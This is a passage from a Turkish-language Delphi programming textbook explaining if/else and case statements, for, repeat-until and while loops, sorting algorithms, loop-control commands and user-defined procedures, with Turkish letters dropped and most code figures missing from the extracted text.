IF Yapsnn Delphide Kullanm ekilleri: Programlarnzda oluabilecek olan farkl dallanmalar zme kavuturabilmeniz iin kullanabileceiniz en gvenli yol sanyorum bu yapdr. Btn dillerde olduu gibi Delphi komutlar ierisinde de if yaps gerekten yeri doldurulamaz bir neme sahiptir. Kullanmnda herhangi bir zorluk szkonusu deildir, fakat uygulamalar ok dikkatlice takip etmenizi tavsiye ederim. Basit Anlamda if Yaps: imdi sizlere if yapsnn en basit kullanm ekillerinden bahsedeceim. Buradaki kullanm sadece tek alternatifli durumlar iin geerlidir. f art then // Tek satrdan oluan kod Bu yapya ait rneklendirme aada verilmitir.

artn doru olmas durumunda iletilecek olan satr says birden fazla ise bu durumda aadaki yapy kullanmalsnz. f art then begin // art doru olduu zaman ileyecek kod //ikinci satr end;

75

art doru olduu zaman ileyecek olan kod satrlar birden fazla olduu iin, bu satrlar begin-end blou ierisinde yazlmaldr. Hatrlatalm tek satrl kodlarda begin-end blou ierisinde yazabilirsiniz.

Yukardaki if yapsnda begin-end blou kullanmazsanz (hata vermez) ad n Prestige Education Center dndaki bir metne eit olmas durumunda bile Doru Eitim Kurumundasnz uyarsn her zaman alrsnz. if else Yaps: Bu yap alternatiflerin birden fazla olmas durumunda kullanlmas gereken bir kod bloudur. Aada bu husus rneklendirilmitir. If art then //Tek satr kod buraya yazlacak else //Tek satr kod buraya yazlacak. Burada artn doru olmas durumunda iletilecek olan kod tek satrdan oluuyorsa begin end blou kullanmaya gerek yoktur. Fakat bu durumda if ile else arasna yazlm olan satrn sonuna ; konulmaz. Buradaki satrn sonunda ; konulursa muhakkak begin-end blou ierisine alnmaldr. Aada bu hususlarn hepsine ait rneklendirmeler yaplmtr. Dikkatlice inceleyiniz.

76

Yukardaki kodu aadaki ekilde de yazabilirsiniz. Her ikiside ayn sonucu verecektir.

Uzmanlamadan nce yazacanz kodlar (if iin) muhakkak begin-end blou ierisinde yazmaya gayret edin. Bu ekilde bir hareket, hata yapma ansnz minimuma indirecektir. Daha sonra Delphiye hakim olursanz o zaman dilediiniz ekilde kodlama yapabilirsiniz. Kodlar Editornze yazarken de biraz dikkatli olursanz, daha sonra kodu incelerken sizin iin ok byk kolaylk salayacaktr.

77

Eer if else arasna yazlacak olan kod satrlar birden fazla ise bu durumda begin end blou kullanmak sizin iin zorunlu olacaktr. if art then begin //kod satrlar //Kod satrlar end //Burada ; olmayacak else begin //kod satrlar //kod satrlar end; //Burada ; olacak Aada bu husus rneklendirilmitir.

Buradaki else ifadesi, ifte belirtilen koul dndaki tm durumlar iin kullanlabilecek bir bloktur. Yani ifte belirtilen art (Bu rnek iin notun 50 den byk olmasdr) salanamad anda ileyecek olan kodlar else blou ierisinde yazlmaldr. Baz durumlarda, kalan tm artlar ifade etmek mmkn olamayabilir (veya ok fazla irdeleme yapmak gerekebilir), bu durumlarda geriye kalan tm artlar kastetmek iin de else blou ok uygun olacaktr.

78

If else if else Yaps: Alternatiflerin ikiden fazla olmas durumunda kullanlabilecek olan bir yapdr. Alternatif durumuna gre else if bloklar oaltlabilir. Tm else if bloklar iin yeni bir art belirtmek zorunludur. Eer tm artlar ifade edebildiyseniz (bir ok durumda edemeyeceksiniz) else kullanma zorunluluunuz yoktur. Aada bu husus rneklendirilmitir. Dikkatlice inceleyiniz.

Koda dikkat edecek olursanz, personelin ikamet ettii ehir kontrol ettirilmekte ona grede gerekli kod satrlar iletilebilmektedir. Burada hem if in hem de else if lerden birtanesinin beraber iletilme ans yoktur. Belirtilen bloklardan sadece bir tanesi iletilecektir. Yukardaki rnei drt farkl if yaps kullanarak da zebilirdiniz. Fakat siz birbiriyle alternatifli olan bu tr kodlar if-else if blouyla zn, hz kazanacaksnz. Sebebi ok basittir, artlardan herhangi bir tanesi gerekletii anda Delphi if in biti noktasn arayacak haliyle de dier else if ler kontrol edilmeyecektir.

79

Tek Satrda Birden Fazla art Kontrol Etmek (And & Or): Bir ok durumda tek satrda birden fazla art kontrol ettirebilirsiniz. Bu size kod satrlarnzn ksalmasn salayacaktr. Aadaki rnekleri birbirleriyle kyaslaynz.

Bu rnekte notun 0 dan kk veya 100 den byk olmas ayn kodun iletilmesini salad iin bu iki art tek satrda kontrol edebiliriz.

And ileminde o satrdaki tm artlarn salanmas gerekmektedir. 80

imdi de ayn problemi Or operatrn kullanarak zelim.

Or yaplan zmde koullarn yerleri nem arz etmektedir. Yani if teki artlar else if e, else if teki artlar da if e alrsanz sonularnzn bir ou yanl olacaktr. Mesela (notu<0) or (notu>100) satr ile notu<50 satrlarn yer deitirirseniz, 0 dan kk olan saylar zaten 50 den kk olaca iin else if i iletme ansnz olmayacaktr (Aralk kesimesi vardr). And iin byle bir durum sz konusu deildir, satrlarn yerlerini deitirseniz bile sonu deimeyecektir (nk aralk kesimesi yoktur). Bu blmde if yapsnn detaylarn sizlere aktarmaya altm. Bir yazlm dilinin en ok bavurduu yap sanyorum budur. Bu yzden hi bir prz kalmadan kullanlabilecek tm ekillerine adapte olmalsnz. Ne kadar karmak olursa olsun sorunun zmn yukardaki ekillerden bir tanesiyle gerekletireceksiniz. Baz durumlarda if ierisinde baka bir if daha (belki onun iinde baka bir if yaps daha vs.) olabilir. Bu tip durumlarda bloklara dikkat ederseniz hi bir sorun yaamazsnz. imdi sizlere if yaps ile ilgili gzel bir rnek zeceim. rneimiz hala okullarmzda uygulanan snf geme notuyla ilgili olacak. Formunuzun zerine 4 adet EditBox, iki adette label yerletirerek aadaki tasarm oluturunuz. Geme notu vizelerin %30 u ile final notunun %70 i toplanarak bulunacaktr.

81

Aadaki tasarm oluturunuz.

Aadaki kodlar da projenizin gerekli yordamlarna ekleyiniz.

Yukardaki kod sayesinde ikinci GroupBox ta yer alan btnlemeyle ilgili nesnelerin gzkmemesi salanmaktadr. imdi de girilen notlar deerlendirecek olan Eventlar oluturalm. Kodun yazld eventlar Edit3 (Final notu) ile Edit4 (Btnleme notu) n Keypress leri olacaktr. Keypress yordam klavyeden herhangi bir tua baslmas durumunda otomatik olarak ileyen bir yordamdr. Bu yzden her tua baslmas bizim kodumuzu iletmesin diye Enter tuu iin (Key=#13) kontrol konulmutur. Artk kodumuz sadece Enter tuuna basld zaman ileyecek, dier tular hesaplatma ilemini gerekletiremeyecektir. Keypress yordam hakknda detayl bilgileri Eventlar ksmnda bulabilirsiniz. imdilik sadece Cursor o kontrolde iken klavyeden bir tua baslmas durumunda iletileceini bilin yeter. Artk aada verilen kodlarda projenize ekleyebilirsiniz. Kodlarn Edit3 ve Edit4 kontrolnn Keypress ine yazldklarn tekrar hatrlatalm. 82

Bu yordama yazlan kod sadece Final de geen rencilerle ilgilidir. Girilen vize notlarnn ortalamasnn %30 u ile Final notunun %70 i toplanarak, bulunacak deerin 50 den byk veya kk olduuna baklacaktr. Eer ortalama deeri 50 nin zerinde ise rencinin baarl olduuna dair uyar 4 numaral etikette kullancya bildirilecektir. Aksi takdirde rencinin finalde baarl olamad uyars yine ayn etikette retmenine iletilecektir. ayet renci btnlemeye kald ise; bu aamadan sonra btnlemeyle ilgili bilgiler gzkecektir. Btnleme notu girildikten sonra, Enter tuuna basnca aadaki (Edit4 n KeyPress yordam) yordamn kodu ileyip bulunacak, yeni ortalamaya gre snfta kalp kalmad belli olacaktr.

83

Bu tr bir programda if yaps gerekten programcnn eli kolu gibidir. If yapsnn anlalabilmesi iin gzel bir rnek (Daha da gzelletirilebilir. Onuda siz yapn) olduunu dnyorum . Bir programn algoritmasn doru bir ekilde tasarlarsanz, projeyi yazarken size ok byk bir kolaylk salayacaktr. Batan savma olarak bir ie asla soyunmaynz. Tm olaslklar dnp, hesaplayp, alternatifler trettikten sonra uygulamaya giriiniz. En nemlisi de ustalarnzn tavsiyelerine muhakkak uyun. Aksi takdirde bir projeyi birka kere tekrar yapmak zorunda kalabilirsiniz. Bu da sizde hayal krkl yaratacaktr.

84

Is Operatr Kullanarak Karlatrma Yapmak: Nesneleri (Kontroller, classlar, type vs.) = operatryle kyaslayamazsnz. Uygulamanzda bu tr kyaslar yer alacaksa Is operatrn kullanmalsnz. Aada Is operatrrnn kullanmna ait yap verilmitir. if ActiveControl is TEdit then begin //Kodlar buraya yazlacak. end; imdi konuyu daha iyi anlayabilmeniz iin aadaki rnek uygulamay yapalm. rneimiz iin form tasarm aada verilmitir.

Gerekli olan kodda aada verilmitir. Program altrdktan sonra kontrol alan Edit in ieriinin silindiini greceksiniz. procedure TForm3.Edit1Enter(Sender: TObject); begin if ActiveControl is TEdit then //Aktif kontrol Editse TEdit(ActiveControl).Clear; //Aktif kontrol temizle end; //Kontrol kaybedince iler procedure TForm3.Edit2Enter(Sender: TObject); begin if ActiveControl is TEdit then TEdit(ActiveControl).Clear; //Aktif kontrol temizle end;

85

Case Yapsnn Delphide Kullanm ekilleri: Bir ok durumda dallanma ilemlerinizi if ile gerekletireceksiniz. Fakat kodunuzun daha kolay anlalabilirlii (veya yazlmas) asndan baz durumlarda case yapsn kullanmanz uygun olacaktr. unu hi bir zaman unutmayn case yaps ile gerekletireceiniz tm kodlar if yapsyla yazabilirsiniz, ama tersi mmkn deildir. Yani if yapsyla oluturacanz kodlar case ile yazamayabilirsiniz. Aada case yapsnn kullanm ekilleri gsterilmitir. case sayi of 1:ShowMessage('Girdiiniz Say 1 dir'); 2:ShowMessage('Girdiiniz Say 2 dir'); 3:ShowMessage('Girdiiniz Say 3 dr'); 4:ShowMessage('Girdiiniz Say 4 dr'); 5:ShowMessage('Girdiiniz Say 5 dir'); else ShowMessage('Girdiiniz Say Yanl dr'); end;

Case yapsnn davran yledir. Alternatifli deikenin deerleri teker teker irdelenerek gerekli kodlarn iletilmesi salanr. 86

Case yapsyla aralk kontrol de yaptrabilirsiniz. Aadaki rnekte bu husus incelenmitir.

imdi baka bir rnek verelim.

Bu rnekte baslan tuun asci deeri kontrol edilerek, aral belirlenmektedir. Ardndan byk harf aralna uyuyorsa Byk Harfe Bastn mesaj, kk harf aralna uyuyorsa Kk Harfe Bastn mesaj, rakam aralna uyuyorsa da Rakam Tuladnz uyars kullancya iletilmektedir. 87

imdide EditBox ierisine rakam girii dnda deer girilmesini engelleyecek kodu case yapsyla yazalm.

Aadaki ekilde yazacanz bir kodla da sadece byk ve kk harfleri yazdrabilen bir EditBox oluturabilirsiniz.

case yaps, string veriler iin Delphide kullanlamamaktadr. Eer dallanmaya urayacak deikeniniz string veri ieriyorsa o zaman sorununuzu if yapsyla zmeyi deneyiniz. Hemen bir srpriz daha yapalm, case yaps ondalkl saylar iinde kullanlamaz.

88

Dngler: Dgler yazlm dilleri ierisinde ok nemli yer tutan komutlardr. Arka arkaya bir ok kez iletilmesi gereken kodlarn bulunduu durumlarda, veya belirlediiniz artn gereklemesine kadar, dngler ba vurulmas gereken tek seenektir. Bilhassa dizilerle beraber kullanlabildikleri zaman gleri korkun derecede artabilmektedir. Bu yzden zerinde oka zaman harcamal, konuyu tam anlamyla kavrayabilmelisiniz. Bu blmde Delphide kullanlabilen tm dngler basitten, en karmana doru incelenecek ve detayl rnekler verilecektir. For Dngs: lk olarak dng saya saynn belli olduu for dngsn inceleyeceim. Bu dng sayesinde, dng blou ierisine yazacanz kodlar arka arkaya istediiniz kadar iletebilirsiniz. Dngnn bilinen bir dier zellii de blok ierisindeki kodlarn en az bir kere iletileceidir (Aslnda tam olarak yle deildir. Mesela balang deerini biti deerinden byk verirseniz, dng ierisindeki kodlar hi ilemeden dng sona erecektir. Fakat dier dnglerin bu tip durumlarda kullanlmas daha uygun olacaktr). Aada yap verilmitir. Dikkatlice inceleyiniz. for i:=baslangic to bitis do //Tek Satrlk Kod Buraya yazlacak; Hemen bu yapy rneklendirelim.

ayet for blou ierisinde birden fazla satr kod iletilecekse, o zaman ayrca begin-end blou kullanmalsnz. 89

For i:=baslangic to bitis do Begin //leyecek olan kod satrlar //leyecek olan kod satrlar end; Tek satr ileteceiniz zamanlarda begin-end blou kullanrsanz yanl olmayacaktr. yice alana kadar begin-end bloklarn tek satrl durumlar iinde kullanmanz neririm (Altktan sonra tek satrl durumlar iin bu blou kullanmayabilirsiniz). imdi bu dng ile ilgili basitten zora doru rneklendirmeler yapalm. rnekler iin formunuzun zerine tetikleme amal bir button yerletirmeniz yeterli olacaktr (Zaten kodlamadan formun zerine eklenen kontroller hakknda bir fikriniz olacaktr). Aadaki rnekte for dngsyle 0-20 arasndaki saylarn toplam hesaplanmaktadr.

Delphinin nceki versiyonlarnda toplam deikenine ilk deer olarak 0 atamak gerekiyordu, fakat burada buna ihtiya yoktur (Deer atanmadan ileme tabi tutulursa varsaylan deerini 0 yapmaktadr). Eer ara deerleri de grmek isterseniz yukardaki iki satr begin-end blou ierisinde yazdrmalsnz (Bilgisayar en fazla zaman deerleri kontroller zerinde gstermek iin harcayacaktr. Bu yzden gerekmedii srece, asla byle bir ey yapmayn. Performansnz korkun derecede decektir). Biz rnek olmas balamnda bunu yapyoruz. 90

for dngsnde kullanlan saya deikenini (bu rnekte i) muhakkak tam say tiplerinden bir tanesiyle tanmlamalsnz. Aksi takdirde Delphi size hata mesaj iletecek, programnz altrmayacaktr. Ayn rnei aadaki ekilde de zebilirdiniz.

Burada tekrar hatrlatalm, Form1.Caption:=FloatToStr(toplam); Satrn hz asndan begin-end blounun dnda tutmalsnz. Saya biti deerini artrrsanz, sonu hesaplanmasnn ne kadar gecikeceini daha rahat izleyebilirsiniz. 91

imdi rneimizi bir adm daha zorlatrp, 0 dan Edit kontrolne girilecek olan deere kadar saylar toplayacak bir proje yapalm.

Inc() fonksiyonunda kullanacanz deiken tam say tipli olmaldr. Aksi takdirde Delphi size ilemi yapamayacana dair uyar mesaj verecektir. rnei bir adm daha zorlatrarak, Editlere girilen deerler arasndaki saylarn toplamn hesaplatalm.

92

Bu rnekte Edit1 kontrolne girilen deer, Edit2 kontrolne girilen deerden daha bykse dng hi almayacak, balkta 0 deeri gzkecektir. imdi bu soruna da kontrol koyarak rneimizi gelitirelim.

Programda kullanlan aadaki blok, saya biti deerinin saya balang deerinden kk girilmesi durumunda, deikenlerin yerlerini deitirerek balang deerinin biti deerinden her zaman kk olmasn (Eitte olabilir. Eit olmas durumunda dng iletilecektir) salamaktadr. if ilk>son then //ilk sondan bykse begin //yerlerini deitir deger:=ilk; ilk:=son; son:=deger; end; Ayn ekilde Inc(toplam,i); satr yerine, toplam:=toplam+i; de (ayet toplamn reel say tanmlanma durumu varsa Inc() fonksiyonu zaten kullanlamaz) yazabilirsiniz. 93

rneimizi biraz daha zorlatrarak girilen iki say arasndaki ift saylar toplatan bir algoritma gelitirelim.

Bu rnekte eklenen kontrol, dng ierisinde toplam deikenine eklenecek olan saynn ift olup olmadnn kontrol edilmesi ilemidir. ayet kontrol edilen saya deeri tek sayysa ekleme ilemi yaplmamakta, ift sayysa ekletilmektedir. Sonu olarak da girilen iki say arasndaki deerlerin toplam kolaylkla hesaplatlabilmektedir. Bu soruyu for dngsyle zmek iyi bir programc iin yanl bir tercih olacaktr. Sebebi ok basittir, sonu her zaman doru kacaktr, fakat dngnn iletilme says (Tek saylar iinde sonuta kontrol yaplmaktadr) iki kat fazla olacaktr. Bu yzden bu tip problemleri, daha sonra gsterilecek olan dier dnglerle znz.

94

Delphide for dngs ierisinde saya deerine step verilemektedir. Yani sayacn ikier ikier artmas maalesef mmkn olamamaktadr. ayet saya artm deeri 1 den fazla ise dier dngleri kullannz. Ayrca for dngs ierisinde saya deerini deitirmenize Delphi izin vermeyecektir. for i:=ilk to son do begin if i mod 2=0 then //ift sayysa ekle Inc(toplam,i); Inc(i); //Burada hata verir saya deerine for ierisinde manuel mdahale //edilemez end; imdi sizlere Dng ve Dizileri i ie kullanabileceiniz sralama algoritmalarndan bahsetmek istiyorum. Ltfen dikkatlice nceleyiniz.

95

Repeat Until Dngs: Baz durumlarda dngnzn ka kere ileyeceini tahmin edemeyebilirsiniz. Yani dngnz bir arta (veya birden ok) bal olarak ileyecektir. Dolaysyla bu ilemi for dngsyle zemeyeceksiniz. Dngnzn alma says bir arta bal olacaksa zm yollarndan bir tanesi Repeat-Until dngsdr. Belirteceiniz art salanmad srece dngnz ilemeye devam edecektir.

repeat //Dng ierisinde iletilecek kodlar buraya yazlacak. Until ilk>son; //art salanrsa bitir Aadaki rnek projede, daha nce for dngsyle zm olduumuz girilen iki say arasndaki saylarn toplamn hesaplayan projenin Repeat Until dngsyle zlm hali verilmitir.

imdi de yine daha nceden for ile yazdmz fakat iyi zm olmadn belirttiimiz girilen iki say arasndaki ift olanlar toplayan programn kodlarn verelim (Tabiiki zm Repeat-Until ile gerekletireceiz). 96

Bu arada tekrar hatrlatalm. Inc() fonksiyonunu kullanabilmeniz iin, fonksiyona giren iki deerinde tam say tipli deiken olmas gerekmektedir. Aksi takdirde toplam:=toplam+ilk yazmalsnz. imdi de program altrdmz anda bize ifre soracak, eer ifreyi bilemezsek yeniden girmemizi isteyecek pencereyle karlaacamz bir program yapalm. ifre isteme ilemlerinin yaplaca en uygun Event FormCreate yordamdr. Bu yzden kodumuzun tamamn bu proceduree yazacaz. ifre isteme ilemini dng ierisinde yapacamz iin, ifreyi doru girene kadar arka arkaya ifre penceresi ile karlaacaksnz. Bahsettiimiz bu tr uygulamalar, arta bal olarak iletilebilen dnglerle zmek ok uygun bir zm yolu olacaktr. ifre uygulamas iin aadaki kodlar projenizin gsterilen yordamlarna ekleyiniz.

97

imdi de uygulamamz biraz daha gelitirerek, kullancnn sadece kere ifre girebilecei, hakknda da bilemezse programn kapatlaca bir hale dntrelim.

Dng ierisinde kullanlan Application.Terminate komut satr program kapatmak iin kullanlmaktadr. Yanlz burada ufak bir incelik var. Delphi Application.Terminate komutunu grd zaman program bitirir ama dng tamamlandktan sonra. Bu yzden exit komutunu eklemezseniz, garip durumlarla karlaabilirsiniz (Dng ierisinde Application.Terminate komutunu kullanrkan dikkat etmelisiniz). 98

While Do Dngs: Bu dng belirtilen art gerekletii srece devaml olarak iler. Repeat Until dngsnden fark, artn dng knda deil, giriinde kontrol edilmesidir. Belirtilen art salanmyorsa bu bloa yazacanz kod hi ilemeyebilir. Aadaki dng iin kullanacanz yap verilmitir. while ilk<=son do begin //Kodlar Bu araya yazlacak end; Belirtilen art saland srece dng komutlar ilemeye devam edecektir. Yine bloktaki kodlar bir satrdan fazla ise begin-end blou kullanmak zorunlu olacaktr. Aada girilen iki say arasndaki ift saylarn toplam bu dng kullanlarak zlmtr.

99

imdi de ifre sorma uygulamasn While-Do dngsyle gerekletirelim.

Sralama Algoritmalar: Bir dizi elemanlarn sralamann bir ok eidi bulunmaktadr. imdi bu eitleri sizlere aktarmak istiyorum. Tm sralama algoritmalarn aadaki form iin oluturacaz.

100

imdi formumuza yerletirdiimiz buttonlara, ait olduklar sralamaya ait kodlar ekleyelim. o Bubble Sort: En son elemandan balayarak her eleman ikinci elemana kadar (kinci elemann index numaras 1 dir. i sayac bu yzden birden balatlmtr) bir nceki ile karlatrlarak gerekletirilebilmektedir. arta uyan dizi elemanlar yer deitirilerek dizinin sralanmas salanmaktadr.

Program altrdktan sonra BubbleSort Buttonuna tklarsanz ekran grntnz aadaki ekilde (Elemanlar listBox2 de sralanm halde) oluacaktr. 101

Burada yaplan ilem dizinin ilk elemannn en kk, son elemannn da en byk olmasn salamaktr (Aradakiler de sral halde tabii ki). Kkten bye doru bir listeleme yapmak isteseydiniz, tek yapmanz gereken deiiklik, en sondaki for dngsyle ilgili olacakt. for i:=adet-1 downto 0 do ListBox2.Items.Add(IntToStr(dizi[i]));// Kkten bye doru yaz.

imdi buttona tklarsanz yukardaki gibi kkten bye doru sral halde bir liste elde edersiniz. 102

o Bubble Sort 2: Bu da ikinci sralama yntemimiz. alma mant yle, dizinin her eleman kendisinden bir sonraki elemanla karlatrlarak, koula uyanlarn yerlerini deitirmek suretiyle i grmektedir.

Bu sralama algoritmasn kullanmanz tavsiye etmiyorum. ListBox taki elemanlarn fazla olmas durumunda ok ar kalacaktr. Daha hzl alan dier algoritmalar kullann.

103

o Shell Sort: imdi de Shell Sort algoritmasnn nasl yazlabileceine deineceim. stteki algoritmalardan daha hzl olduunu belirtmek isterim.

Nedense hep byledir. Kark algoritmal programlar, basit olanlardan daha hzl alrlar.

104

o Selection Sort: imdi de bu sralama algoritmasn hazrlayp programnz altrabilirsiniz. Sanyorum ilerinde en anlalr olan budur.

Buradaki mantk: Dizinin her eleman kendisinden sonra gelen tm elemanlarla karlatrlmaktadr. Karlatrma esnasnda; belirtilen kurala uyan elemanlar, yer deitirilerek dzgn bir sralama elde edilebilmektedir. imdi de bu sralama algoritmalarnn en hzls olan ile ilgili rneimize geelim.

105

o Quick Sort: Sralama algoritmalarnn en hzl olandr. Bu rnekte procedure kendi kendisini araca iin her defasnda diziyi yeniden boyutlandrmak isteyecektir. Bu yzden dizi elemanlar global olarak baka bir procedure ierisinde boyutlandrlacaktr.

Biraz karmak gelebilir, ilk etapta dikkatli olmanz neririm. Procedure'n baz artlar saland anda kendi kendisini armas kafanz fazla kartrmasn. 106

Bu algoritmada, dizinin orta eleman (10 eleman varsa 10 div 2 ile 5. eleman kastedilmektedir) bulunmakta, alt ve st serideki elemanlar index numaralarna gre karlatrlarak koula uyanlar birbirleriyle yer deitirmektedir. Yine belirtilen koullar neticesinde procedure'n kendi kendisini armas salanmaktadr. Dng Ynlendirme Komutlar: Dng kodlarnzn iletilmesi annda, belirlemi olduunuz artn (veya artlarn) gereklemesi durumunda, dngden kmak veya tekrar baa (dngnn bana) dnmek isteyebilirsiniz. imdi bu tip durumlarda kullanabileceiniz komutlardan bahsedeceim. Continue: artnzn salanmas durumunda, dngnn dier kodlarn iletmeden tekrar baa dnlmesini salayan komuttur. Burada saya deikeni deerini yine artracaktr (for dngs iin). Aada girilen iki deer arasndaki ift saylar toplatarak Continue komutunun ileyiini gstereceim.

107

Yukardaki gibi bir rnei kesinlikle for dngsyle zmeyin. Biz komutu anlamanz iin byle bir zme bavurduk. rnekte aralkta bulunan saylarn ift olup olmadklar kontrol edilmekte, eer ift say deilse ekleme ilemi yaplmadan tekrar baa dnlmektedir. ift say olmas durumunda ise, en son bulunan toplam deerine eklenmektedir. Break: Bu komut sayesinde, belirttiiniz art saland anda dngnn dier komutlar iletilmeden bloktan kabilmeyi salayabilirsiniz. Aadaki rnekte kaa kadar olan saylarn toplamnn 100 ilk geen deer olduu hesaplanmakta, istenen art saland anda dng komutlar iletilmeyerek procedure sonlandrlmaktadr.

Break komutunun ileyi mant, koul saland anda sadece o for (Dier dngler iinde kullanlabilir) dngsnden klmakta, proceduree ait dng dndaki dier kodlar okunmaya devam etmektedir. Exit: Bu komutla hem dngden klmas salanr, hem de alt satrlarda kalan dier kod satrlarnn okunmas engellenir. Aada exit komutunun kullanlna ait basit bir rneklendirme yaplmtr.

108

rnekte EditBoxa girilen not deerinin 50 den byk olup olmad kontrol edilmektedir. ayet notu 50 den byk girerseniz, ikinci mesajnz yani Btnlemede Ders Almanz Gerekmektedir uyarsn exit komutu iletildii iin asla gremezsiniz.

imdide hem dngy, hem de program sonlandrabilecek Delphi komutlarn grelim. Halt Program sonlandrmak iin kullanlan bir komuttur. Kullanmna ait rnek aada verilmitir.

109

Application.Terminate: Yine uygulamanz sonlandrma amal kullanabileceiniz komutudur. Aada kullanmna ait rnek verilmitir. bir Delphi

Application.Terminate komutunu dng ierisinde kullanrsanz dikkatli olmalsnz. Size ok normal gzken fakat Delphi tarafndan enteresan deerlendirmeye sebebiyet vermektedir. Aadaki rnei dikkatli inceleyiniz.

110

Program sanki toplam deer 10000 den byk olduu anda kapanacak gibi gzksede yle deildir. Programn dng sonlandktan sonra kapatlaca kesindir. Eer burada toplam deikeninin deeri 10000 i getikten hemen sonra programn kapanmas isteniyorsa kodu aadaki gibi deitirmelisiniz.

Ayn uygulama iin Halt komutunu kullanrsanz, exit e ihtiya duymadan art saland anda program kapatlacaktr. var ilk,son:Integer;toplam:Real; begin ilk:=10;son:=555555;toplam:=0; while true do //Sonsuz dng yaratlyor begin toplam:=toplam+ilk; Form1.Caption:=FloatToStr(toplam);inc(ilk); if toplam>= 10000 then begin Halt; //Program kapat end; end;end;

111

Halt komutu dng ierisinde hi bir extra kod istemeden uygulamay sonlandrmakta, Application.Terminate ise dngnn bitmesini bekledikten sonra program kapatabilmektedir. Sleep Komutu: zellikle dnglerde ok hzl ileyen kodlar izleyebilmek veya zaman kazanmak amal kullanlan bir komuttur. Parametre olarak girilen deer milisaniye cinsindendir (Saniyenin binde biri). Komutu anlayabilmeniz iin aadaki iki kod blounu ayr ayr altrp sonucu izleyiniz.

imdi de kodu aadaki hale dntrp tekrar altrn.

112

Programn ncekine gre ok daha ar altn greceksiniz. Bunun sebebi eklemi olduunuz sleep(1000) kod satrndan kaynaklanmaktadr. Bu komut bilgisayar her seferinde bir saniye uyutacaktr. Application.ProcessMessages: Uygulamanza youn bir ilem yaptrrken (mesela dng komutlar iletilirken) dier bir komuta programnz yant veremeyecektir. Bu durum sizin iin skc, hatta bunaltc olacaktr. Bir dng kodunu iletirken, dikkat ettiniz mi bilmiyorum, dier hi bir komutu tetikleyemezsiniz (Program kapatamaz, formu tayamaz veya baka bir buttona tklayamazsnz). Application.ProcessMessages byle durumlara zm yaratmak iin Delphiye dahil edilmitir. Aadaki iki kod blounu iletip aradaki fark grmeye aln.

Buttona tkladktan sonra deneyin; formunuzu tayamayacak, kapatamayacak ve baka bir buttona tklayamayacaksnz. Bu durumun iki zm bulunmaktadr. Bunlardan birincisi Application.ProcessMessages dr. Delphi Application.ProcessMessages satrn grd zaman kontrol ksa bir sre iin windowsa brakarak, kullancya dier isteklerini yerine getirebilme ans vermektedir (Formu tayabilir, baka bir buttona tklayabilirsiniz vs.). Dier bir yntemse (Bu ok gelimi bir tekniktir. Thread yaratarak sadece o uygulamann alabilecei bir kanal yaratmaktr.) sadece sizin istediiniz komutlara cevap verecek bir kanal

113

yaratmaktr (Bu konuya daha sonraki ksmlarda deinilecektir). Uygulamanz da ne kadar ok kanal yaratrsanz, performansnz o oranda drrsnz. imdi yukardaki kod blounu aadaki hale evirip uygulamanz tekrar altrnz.

Artk uygulamanz dng komutlar ilerken sizin komutlarnza da cevap verebilecektir. Program altrdktan sonra, button kontrolne tklayp formunuzu tamay deneyin. Baarl olduunuzu greceksiniz.

114

BLM 5 DELPHIDE FONKSYON & PROSEDRLER

115

116

Delphide Prosedrler: Ayn kodun iletilecei durumlarda, iletilecek olan kodu tek bir yerde tanmlayp gerekli yerlerden bu kodlara eriim salayabilirsiniz. Bu ilemler iin genellikle kullanlan iki yntem bulunmaktadr. Geriye deer dndrmeyen (aslnda istenirse dndrtlebilir) bloa procedure (buradan sonra prosedr olarak kullanlacaktr) ad verilmektedir. Aadaki blmde Delphi ierisinde bir prosedrn nasl tanmlanabileceini, tanmlanan prosedre projenizden nasl eriebileceinizi gstereceim. Fakat daha nce Delphinin kulland forma ait prosedrlere bir rnek verelim. Formunuzun zerine bir adet button kontrol yerletirip, zerine mous ile ift tklarsanz, alma annda bu buttona tklanlmas durumunda iletilecek kodun yazlabilecei prosedre ularsnz.

Yukardaki ilem kitabn tamamnda defalarca ilendii iin detaylara daha fazla deinmeden, sizin tanmlamak zorunda kalacanz prosedrlerden bahsedelim. Kullanc tanml bir prosedr aadaki ekilde kolaylkla tanmlayabilirsiniz.

117

Bu ekilde tanmladnz prosedre, sadece bu classa ye olan dier prosedrler tarafndan ulalabilir. Eer oluturduunuz bu prosedr dardan armak istiyorsanz (ikinci formdan), o zaman biraz daha beklemeniz gerekecektir. Aada mesaj ismiyle tanmlanan prosedre procedure TForm1.Button1Click (Sender: TObject) yordamndan nasl eriebileceinize dair rnek vereceim.

imdi buttona tklarsanz, mesaj isimli prosedrde belirtilen uyaryla karlarsnz.

Kullanc tanml prosedrler normal artlar altnda sadece tanmlandklar yerden sonraki yordamlar tarafndan arlabilirler. Aksini yaparsanz, Delphi size komutu tanmadna dair uyar mesaj iletecektir. Peki bu ilemin baka bir yolu yok mu? Tabii ki var. Hemen izah edelim.

118

Prosedrleri Dier Yordamlara Bildirmek: Bir prosedr tanmland satrdan daha nceki blmlerden armaya kalkarsanz, Delphinin sizi hata mesajyla uyaracan yukarda belirtmitik. Bu hatay engellemenin ikinci yolu (lk yol en stte tanmlanmas gerektiidir.) prosedr forward ile declare etmektir. Aadaki kod blounda, ncelikle mesaj prosedrnn varl declare edilerek alttaki satrlarda tanmlansa bile, dier yordamlar tarafndan kullanlabilmektedir.

Her ne kadar sorun zld gibi gzksede ufak bir hususa dikkat etmelisiniz. Yazm olduunuz procedure mesaj;forward; kod satrnn mesaj isimli prosedrn arld satrdan nce yazlm olmas gerekmektedir. Parametre eren Prosedr Tanmlamak: Baz durumlarda ileteceiniz prosedr ierisinde kullanlmak zere parametre (veya parametreler) gndermek isteyebilirsiniz. Bu gibi durumlarda prosedrnz parametreli olarak tanmlamalsnz. Prosedre birden fazla parametre deeri gnderebileceinizi de belirtmekte fayda var. Aada tek parametre ieren bir prosedrn nasl tanmlanabilecei, daha sonra

119

projeden tanmlam olduunuz aktarabileceiniz gsterilmitir.

prosedre

nasl

parametre

deeri

imdi de projenize bir adet button ve bir adet Edit kontrol yerletirerek aadaki tasarm oluturunuz.

